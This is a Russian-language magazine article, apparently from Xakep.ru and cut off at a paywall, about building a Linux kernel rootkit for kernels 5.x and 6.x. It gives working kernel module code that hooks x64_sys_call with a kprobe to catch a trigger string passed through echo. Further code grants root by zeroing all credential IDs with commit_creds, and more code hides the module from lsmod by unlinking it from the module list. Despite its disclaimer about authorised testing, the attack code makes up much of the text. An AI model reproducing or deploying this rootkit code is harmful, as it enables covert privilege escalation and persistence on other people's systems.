Содержание статьи
Недавно я наткнулся на новость, опубликованную в журнале «Хакер», где говорилось, что обнаружен новый Linux-руткит Pumakit. С ядром ОС Linux я никогда ранее не сталкивался, и идея разобраться в нем буквально поглотила меня. В статье я попытаюсь описать особенности, которые мне удалось выявить при написании собственного руткита под современные ядра Linux версий 5.x и 6.x (x86_64).
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Патч, мешающий жить
Когда я исследовал руткиты для Linux, то неоднократно посещал GitHub в поисках подобных программ, чтобы примерно понимать их структуру и функциональные возможности. И вот что мне бросалось в глаза: практически во всех реализациях руткитов используется метод перехвата syscall’ов путем перезаписи таблицы системных вызовов sys_call_table
.

Однако с недавнего времени этот метод больше не работает, поскольку сообщество Linux-разработчиков выкатило патч, при котором упомянутая таблица не используется:
The sys_call_table is no longer used for system calls, but kernel/trace/trace_syscalls.c still wants to know the system call address.
Kprobes всему голова
Ядро Linux напичкано не только всякими жизнетворящими вещами, оно также имеет в своем арсенале механизмы отладки, которые поддерживаются из ядра в ядро. С версии 2.6.9 в Linux kernel появился kprobes. Kprobes — это средство динамической отладки ядра, позволяющее ставить breakpoints на доступные для записи участки памяти и самостоятельно обрабатывать их.

Синтаксис механизма отладки довольно простой:
// Структура kprobe описана в файле include/linux/kprobes.hstatic struct kprobe un = { // Место, куда мы будем ставить бряк (экспортированный ядром символ) .symbol_name = "kernel_clone", // Обработчик бряка .pre_handler = intercept,};static int __init init(void) {// Регистрируем «пробу»register_kprobe(&un);...}static void __exit bye(void) {// Удаляем «пробу»unregister_kprobe(&un);...}
Кстати, посмотреть, экспортирован ядром символ или нет, можно, прочитав файл kallsyms:
cat /proc/kallsyms | grep "имя символа"
Перехватываем x64_sys_call
Популярный руткит diamorphine для общения с пользователем использует перехваченный syscall — kill
. Однако для этого он ставит хук на sys_call_table
, что уже неактуально. Как же тогда отслеживать системные вызовы? Ответ прост: перехват x64_sys_call
.
Все дело в том, что x64_sys_call
участвует при вызове любого «сискола». Это некая обертка над каждым системным вызовом, подключающая макросы, в качестве которых реализованы системные вызовы.
// regs — аргументы системного вызова// nr — номер системного вызоваlong x64_sys_call(const struct pt_regs *regs, unsigned int nr){ switch (nr) { // Здесь находятся системные вызовы в качестве макросов вида SYSCALL_DEFINEX(name, args...), // где X — количество аргументов в syscall’e #include <asm/syscalls_64.h> default: return __x64_sys_ni_syscall(regs); }};
Важно отметить, что x64_sys_call
также экспортирована ядром.

Отлично, теперь осталось использовать это для организации общения с пользователем. Присмотримся к команде echo
.

Echo
использует в своей работе write
— как раз то, что нам и нужно. Подытожив сказанное, напишем обработчик команд пользователя:
// Идентификатор команды, которую будет отлавливать обработчик команд#define ROOT "wanna_root"// Наша пробаstatic struct kprobe un = { .symbol_name = "x64_sys_call", // Обработчик .pre_handler = intercept,};static int intercept(struct kprobe *p, struct pt_regs *regs) { // Проверяем номер системного вызова, передаваемый в x64_sys_call if (regs->si == __NR_write){ // Сохраняем параметры, передаваемые вместе с write struct pt_regs *pRegs = (struct pt_regs*)regs->di; // Если текст, переданный в echo, совпадает с именем команды, то обрабатываем ее if (!strncmp( (const char*)(pRegs->si) , ROOT ,10)) {...Функция, выполняемая при загрузке модуляstatic int __init init(void) {...int err; err = register_kprobe(&un); if (err < 0) { pr_err("Failed to register kprobe, error: %d\n", err); return err; }...}
Здесь нам не нужно использовать copy_from_user
, поскольку информация уже находится в режиме ядра.
Повышаем привилегии и удаляем себя из списка загруженных модулей
Все системные вызовы осуществляются в контексте процесса, то есть мы можем получить доступ к памяти, окружению процесса в момент выполнения syscall’a. Каждый процесс олицетворяется в ядре структурой struct
, которая имеет довольно внушительный размер. Внутри этой структуры есть поле, отвечающее за привилегии процесса, к которому мы можем обратиться.

Поскольку мы находимся в режиме ядра, то особых проблем с повышением привилегий не имеем. Достаточно просто заменить эту структурку своей, и вуаля!
static int root_func(void){ struct cred *newcreds; // Инициализация структуры newcreds = prepare_creds(); if (newcreds == NULL){ pr_alert("can't prepare creds\n"); return 1; } // Выдаем себе рут newcreds->uid.val = newcreds->gid.val = 0; // euid и egid — «эффективные» привилегии, то есть привилегии запущенного процесса newcreds->euid.val = newcreds->egid.val = 0; newcreds->suid.val = newcreds->sgid.val = 0; newcreds->fsuid.val = newcreds->fsgid.val = 0; // Вносим свои изменения commit_creds(newcreds); return 0;}
info
Чтобы избежать конфликта, при разработке ядерных модулей следует описывать все свои функции и глобальные переменные с приставкой static
. Это необходимо, поскольку ядро экспортирует все символы в глобальную область видимости и пользователь может вызвать своим неаккуратным поведением конфликт имен.
Что касается самоудаления из списка загруженных модулей — дело нескольких строчек кода. Наш руткит представляет собой kernel
, который также представлен своей структурой в памяти ядра. Мы просто удаляем себя из связного списка загруженных модулей:
// Прячемся от команды lsmod — команды, выводящей все загруженные в память модулиstatic inline void hide_func(void){ // THIS_MODULE — глобальный макрос, позволяющий обратиться к структуре своего модуля // Поле list — связный список загруженных в память ядра модулей module_previous = THIS_MODULE->list.prev; // unlink module_previous->next = THIS_MODULE->list.next; hidden=1;}// Возвращаемся в стройstatic inline void show_func(void){ // Нужно, чтобы не словить segfault if (module_previous !=NULL && hidden==1){ module_previous->next = &THIS_MODULE->list; hidden=0; }}
Продолжение доступно только участникам
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее